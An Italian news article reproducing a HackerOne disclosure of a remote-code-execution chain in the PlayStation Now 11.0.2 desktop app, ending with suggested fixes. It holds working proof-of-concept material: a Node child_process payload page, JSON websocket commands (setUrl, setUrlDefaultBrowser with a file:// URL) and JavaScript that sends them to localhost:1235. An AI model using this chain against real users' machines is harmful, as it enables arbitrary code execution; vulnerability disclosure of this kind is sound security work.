Home News Una nuova vulnerabilità presente all’interno dell’applicazione PlayStation Now potrebbe ben presto...

[Scena PS4] Una nuova vulnerabilità presente all’interno dell’applicazione PlayStation Now potrebbe ben presto portare all’esecuzione di codice arbitrario

103
1

La versione 11.0.2 dell’applicazione PlayStation Now risulterebbe vulnerabile all’esecuzione di codice in modalità remota (RCE). Questo significa che qualsiasi sito web caricato in un qualsiasi browser web sulla stessa macchina potrebbe portare all’esecuzione di codice arbitrario tramite una connessione websocket vulnerabile.

Il server websocket locale su localhost:1235 non controlla l’origine delle richieste in arrivo. Ciò consente ai siti web caricati nei browser sulla stessa macchina di inviare richieste al server websocket. I websocket non sono vincolati dalla politica della stessa origine, quindi il server websocket deve farlo manualmente.

PlayStation Now esegue un’applicazione Electron denominata AGL. Da qui è possibile dire ad AGL di caricare un sito web specifico con un comando inviato al server websocket. Di conseguenza, i siti web di cui sopra possono indicare ad AGL di caricare qualsiasi URL remoto.

Volendo è possibile dire ad AGL di eseguire anche una qualsiasi applicazione locale tramite il comando setUrlDefaultBrowser. L’applicazione AGL Electron ha nodeIntegration: true quindi JavaScript in esecuzione in qualsiasi URL caricato può generare nuovi processi.

Quindi qualsiasi indirizzo URL caricato nell’applicazione AGL potrebbe eseguire codice sulla macchina di destinazione. Concatenando insieme tutti questi problemi ci darebbe un RCE.

Descrizione

L’applicazione PlayStation Now (psnow da qui in avanti) è un’applicazione di streaming online per giocare ai giochi PlayStation. La versione 11.0.2 è la versione corrente al momento della scrittura. L’ultima versione può essere scaricata da https://download-psnow.playstation.com/downloads/psnow/pc/latest

Ha due componenti principali: QAS e AGL.

QAS

QAS è un eseguibile denominato psnowlauncher.exe ed è un’applicazione desktop Qt5. Questa è l’applicazione principale che viene eseguita quando l’utente esegue psnow. Il percorso di installazione predefinito è C:\Program Files (x86)\PlayStationNow\psnowlauncher.exe.

Nota: L’esecuzione in una macchina virtuale (VM) restituisce un avviso. Questo può essere ignorato per questa procedura dettagliata.

Dopo il lancio, esegue una diversa applicazione chiamata AGL. L’immagine seguente è l’elenco completo dei processi in Process Monitor.

Processi in procmon:

{F827146}

L’applicazione QAS esegue anche un server websocket su localhost:1235. netstat -anb in una riga di comando elevata ce lo dice:

server websocket:

{F827147}

AGL

AGL è un’applicazione Electron. In un’esecuzione tipica, viene generato da QAS. Nella versione corrente, viene eseguito con questo parametro della riga di comando URL:

  • "C:\Program Files (x86)\PlayStationNow\agl\agl.exe" --url=https://psnow.playstation.com/app/1.10.43/105/00d3603f8/

Questo è l’indirizzo URL della pagina che verrà inizialmente caricata dall’applicazione AGL.

Esecuzione AGL

{F827149}

Problema 1: nodeIntegration impostato su true

nodeIntegration è la capacità di JavaScript in esecuzione in una finestra del browser Electron di accedere alle API Node.js. Il valore predefinito è false ma è impostato su true in AGL.

Qualsiasi JavaScript caricato da AGL sarà in grado di generare processi sulla macchina. Questo può portare all’esecuzione di codice arbitrario. L’applicazione AGL non esegue alcun controllo sugli URL che carica.

Possiamo verificarlo eseguendo AGL dalla riga di comando con un URL che contiene del codice Node. Il codice seguente genera un nuovo processo ed esegue l’app Calcolatrice di Windows (calc).

<html>
     <head>
          <title>Questo dovrebbe far apparire calc su Windows</title>
     </head>
     <body>
          <script>
               require('child_process')
               .exec('calc')
          </script>
      </body>
</html>

Ho memorizzato questo payload in un bucket S3. Se carichiamo quell’URL remoto in AGL possiamo vedere la generazione di calc. Per riprodurlo, eseguire il comando seguente in una VM e vedere AGL che esegue l’applicazione della calcolatrice:

"C:\Program Files (x86)\PlayStationNow\agl\agl.exe" --url=https://[redacted].s3.us-east-1.amazonaws.com/node.html

Popping calc:

{F827156}

Possiamo vedere i nuovi processi in Process Monitor:

{F827151}

Questo non è poi così tanto utile. Possiamo andare ad eseguire il codice sulla nostra macchina.

Proxy delle applicazioni

Possiamo proxare psnow con Burp. Utilizzando le impostazioni proxy di Windows (impostazioni proxy WinINET).

  1. Eseguire control.exe inetcpl.cpl,,4. Questo apre le impostazioni del proxy di Windows senza dover aprire Internet Explorer.
  2. Fare clic su LAN Settings e impostare il proxy.
    1. Assicurati che non sia selezionato nulla in Automatic Configuration.
    2. Assicurati che Bypass proxy server for local addresses NON sia selezionato.
  3. Impostare il proxy sull’ascoltatore, il valore predefinito di Burp è 127.0.0.1:8080.
  4. Aggiungere l’autorità di certificazione (CA) di Burp all’archivio certificati di Windows.
    1. https://portswigger.net/support/installing-burp-suites-ca-certificate-in-internet-explorer
    2. Le istruzioni menzionano Internet Explorer ma in realtà è per Windows.

Identificazione del traffico in Burp

In Burp, vedremo traffico da e verso QAS e AGL. C’è altro traffico (ad esempio, traffico del browser, aggiornamento di Windows). Il traffico proveniente da psnow ha la parola gkApollo nell’intestazione User-Agent.

L’user-agent per le richieste provenienti dalle due applicazioni ha più indicatori:

  • QAS è l’app Qt5 e ha QtWebEngine/5.5.1.
  • AGL è basato su Electron e ha Electron/1.4.16playstation-now/0.0.0.

Sto usando un’estensione Burp denominata Request Highlighter per evidenziare le richieste basate su queste parole in user-agent.

Nella mia configurazione, AGL (Electron) è giallo e QAS (Qt5) è blu.

{F827153}

Local Websocket Server

QAS avvia un server Websocket locale sulla porta 1235. Quindi il sito Web caricato in AGL (in questo caso “psnow.playstation.com/app/”) si collega ad esso e invia i comandi al server.

Problema 2: il server Websocket locale non controlla l’intestazione di origine

Questa è una configurazione vulnerabile per la comunicazione senza interruzioni tra un sito Web e un’applicazione desktop. Un sito Web invia richieste a un server Web locale per eseguire un’operazione (ad esempio, avviare un’applicazione).

Questa configurazione è vulnerabile se il server locale non controlla l’intestazione Origin e/o da dove proviene la richiesta.

Alcuni esempi di altre configurazioni vulnerabili:

Tavis Ormandy di Google Project Zero ha trovato una configurazione molto simile in Logitech Options.

Un altro di TavisO per TrendMicro. Non websocket ma coinvolge un webserver locale: https://bugs.chromium.org/p/project-zero/issues/detail?id=693

Zoom ha utilizzato un server Web locale per avviare automaticamente l’applicazione dal sito Web. Divulgazione di Jonathan Leitschuh

Perché è così brutto? Qualsiasi sito Web può inviare questi comandi. Ciò significa che posso inserire il codice JavaScript sul mio sito web. Se un utente che esegue psnow apre il mio sito Web sulla stessa macchina (in qualsiasi browser), il mio sito Web si connette a http://localhost:1235 e invia richieste al server websocket. Queste richieste verranno elaborate.

Ancora un’altra applicazione di chat come Proof of Concept

Ho rubato il codice client di un’app di chat websocket e l’ho modificato per simulare il sito web. Questa piccola app si connette a ws://localhost:1235, stampa qualsiasi messaggio ricevuto e ci permette di inviare messaggi a nostro piacimento. Puoi vedere la fonte su:

  • https://[redacted].s3.amazonaws.com/agl-poc/chat-ws.html
  • Aprire la pagina da browser in una macchina diversa e visualizzare la fonte, è abbastanza semplice da poterlo capire.
  1. Avviare l’app psnow in una VM.
  2. Aprire l’indirizzo URL in un browser nella stessa VM.
  3. Visualizzare i messaggi websocket dall’app psnow nel browser.
    1. Se manteniamo in esecuzione l’app della chat, continuerà a stampare i messaggi ricevuti dal client.
  4. Inviare qualsiasi messaggio al server locale tramite il campo di testo.

{F827145}

Messaggi Websocket

Ora dobbiamo esaminare i messaggi del websocket e come possiamo sfruttarli.

Dopo aver aperto l’indirizzo URL iniziale su https://psnow.playstation.com/app/1.10.43/105/00d3603f8/ possiamo vedere la Connection: Upgrade richiesta a questo server da psnow.playstation.com. Questo proviene dal sito web di psnow caricato in AGL. La richiesta iniziale è un tipico handshake websocket.

{F827150}

Ora possiamo passare alla scheda Proxy > Websockets history in Burp per vedere i messaggi websocket.

{F827152}

Tutte le richieste sono in JSON (probabilmente create da JSON.stringify). Quelli interessanti iniziano con command. Per esempio:

{
 "command": "isMicConnected",
 "params": {},
 "source": "AGL",
 "target": "QAS"
}

  • command: Cosa fare.
  • params: Parametri di comando.
  • source: Il programma che emette il comando.
  • target: Il programma che esegue il comando.

Sia la destinazione che l’origine possono essere la stessa app. Non credo che importi davvero quale sia la fonte. Penso che solo il target sia obbligatorio.

Possiamo cercare più comandi nei messaggi websocket. Il comando più importante è setUrl. Ci sono più comandi nel sorgente dell’app Electron (decomprimere app.asar e cercare commandHandler) ma questo è il più utile insieme a setUrlDefaultBrowser (apre un URL nel browser predefinito sulla macchina).

{
 "command": "setUrl",
 "params": {
   "url": "https://psnow.playstation.com/app/1.10.43/105/00d3603f8/"
 },
 "source": "AGL",
 "target": "QAS"
}

Questo è AQL che dice a QAS di caricare questo URL. QAS andrà quindi a caricare quell’indirizzo URL. Possiamo inviare questa richiesta a Burp Repeater e inviare nuovamente il messaggio con un indirizzo URL diverso. Ad esempio, diciamo a QAS di caricare https://example.net.

{F827155}

Ma questo non è divertente. Vogliamo che AGL carichi i siti Web e non QAS, e se cambiassimo destinazione e origine?

{"command":"setUrl","params":{"url":"https://example.net"},"source":"QAS","target":"AGL"}

Questo comando dirà ad AGL (l’app Electron) di caricare example.net. La gif è stata ridotta a icona, cliccaci sopra per ingrandirla:

{F827144}

Più tardi, ho scoperto che possiamo usare un altro bug di TavisO per ottenere RCE in un altro modo. https://bugs.chromium.org/p/project-zero/issues/detail?id=693

Possiamo abusare del comando setUrlDefaultBrowser. Viene passato a shell.openExternal(url) e consente lo schema del file.

Quindi il seguente comando dovrebbe far apparire la calcolatrice:

{"command":"setUrlDefaultBrowser","params":{"url":"file:///c:/windows/system32/calc.exe"},"source":"QAS","target":"AGL"}

Nota: QAS non dispone di questo comando.

I Websocket non sono vincolati dalla politica della stessa origine, quindi qualsiasi sito Web può inviare questi messaggi. Per una spiegazione, consultare il sito: https://blog.securityevaluators.com/websockets-not-bound-by-cors-does-this-mean-2e7819374acc.

Problema 3: è possibile indicare ad AGL di caricare siti Web arbitrari

Un singolo messaggio websocket è sufficiente per fare in modo che AGL carichi un qualsiasi indirizzo URL. Non ci sono restrizioni qui. Questo non è eccezionale, considerando che abbiamo visto cosa può fare un cattivo codice su di un sito web per AGL.

Mettere tutto insieme

Finora abbiamo stabilito tre cose:

  1. Se un sito web con codice Node viene caricato in AGL, possiamo eseguire arbitrariamente sulla macchina di destinazione.
  2. Qualsiasi sito web aperto nel browser su di una macchina con psnow in esecuzione può connettersi al websocket locale e inviare messaggi.
  3. Un comando websocket con setUrlsetUrlDefaultBrowser può indicare ad AGL di caricare qualsiasi URL.

Possibile scenario di attacco

  1. L’utente sta eseguendo psnow sulla propria macchina.
    1. Si noti che quando gli utenti chiudono la finestra di psnow, questa viene ridotta a icona nel vassoio ed è ancora in esecuzione. Quindi ci sono buone probabilità che psnow sia in esecuzione se lo hanno usato nella stessa sessione. Il server websocket è ancora in esecuzione quando l’applicazione è ridotta a icona.
  2. L’utente apre un sito web nel proprio browser. Qualsiasi browser andrà bene.
    1. Qualcuno può pubblicare un collegamento a un sito web con un codice errato in chat/Discord, potrebbe essere un collegamento nei forum. Le possibilità sono infinite.
  3. Il sito web nel browser si connette al server websocket all’indirizzo ws://localhost:1235.
  4. Il sito web invia un messaggio al server websocket. Il messaggio indica ad AGL di caricare un altro sito web che contiene il codice del node.
    1. {"command":"setUrl","params":{"url":"https://[redacted].s3.us-east-1.amazonaws.com/node.html"},"source":"QAS","target":"AGL"}
    2. In alternativa, può abusare del comando setUrlDefaultBrowser.
  5. AGL carica il nuovo sito web. Il codice arbitrario viene eseguito sulla macchina dell’utente.
  6. ???
  7. RCE.

Passaggi per riprodurlo

Se hai letto fino a qui, ti meriti una gif calc popping.

  1. Eseguire psnow in una VM.
  2. Andare al seguente indirizzo URL in un browser sulla stessa macchina:
    1. https://[redacted].s3.amazonaws.com/agl-poc/calc-ws.html
  3. Guarda il calc pop.
  4. Facoltativamente, incolla il seguente comando nel campo di testo e premi invio per vedere di nuovo calc pop.
    1. {"command":"setUrl","params":{"url":"https://[redacted].s3.us-east-1.amazonaws.com/node.html"},"source":"QAS","target":"AGL"}
    2. Puoi anche fare altre cose divertenti come abilitare gli strumenti di sviluppo.

Il codice in calc-ws è simile al codice della chat. Dopo l’apertura del socket al server websocket locale, viene inviato il payload di cui sopra. Vedi la modifica qui:

let url = 'ws://localhost:1235/'

let socket = new WebSocket(url);

let payload = '{"command":"setUrl","params":{"url":"https://[redacted].s3.us-east-1.amazonaws.com/node.html"},"source":"QAS","target":"AGL"}';

// send the payload when the socket is opened.
socket.onopen = function(event) {
  showMessage('before payload');
  socket.send(payload);
  showMessage('after payload');
};

La seguente gif mostra l’intera catena. Di nuovo, guardalo a grandezza naturale.

{F827148}

Bonus: problema minore 0: Websocket Server in ascolto su 0.0.0.0

L’applicazione è in ascolto su tutte le interfacce (0.0.0.0), il che è problematico. Anche questo non è divertente perché il prompt del firewall di Windows apparirà quando viene eseguito per la prima volta.

Significa che chiunque possa contattare questa porta potrebbe essere in grado di inviare comandi a questo server websocket.

Riparazione o come possiamo risolvere questo problema?

  • Una possibile soluzione rapida ed efficace: il server websocket locale dovrebbe convalidare l’intestazione Origin della richiesta in arrivo e consentire solo le richieste provenienti da origini valide specificate in un elenco.
  • Bonus win: Non ascoltare su tutte le interfacce, collega il server a localhost.

Impatto

Gli aggressori possono eseguire codice sui computer degli utenti. Possono raggiungere l’altro lato del portello a tenuta d’aria.

Fonte: hackerone.com

Articolo precedente[Scena Switch] Rilasciato DeepSea v1.9.0
Articolo successivo[Scena Switch] Rilasciato MissionControl v0.4.0 (compatibile esclusivamente con Atmosphère v0.16.0 o superiore)
Sono Nato nel 1980 e da diversi anni coltivo la passione per tutto ciò che riguarda il mondo dei videogiochi, ho vissuto l'era degli home computer con il Commodore 64 e l'Amiga 500, da sempre appassionato di giochi di ruolo e di titoli di avventura.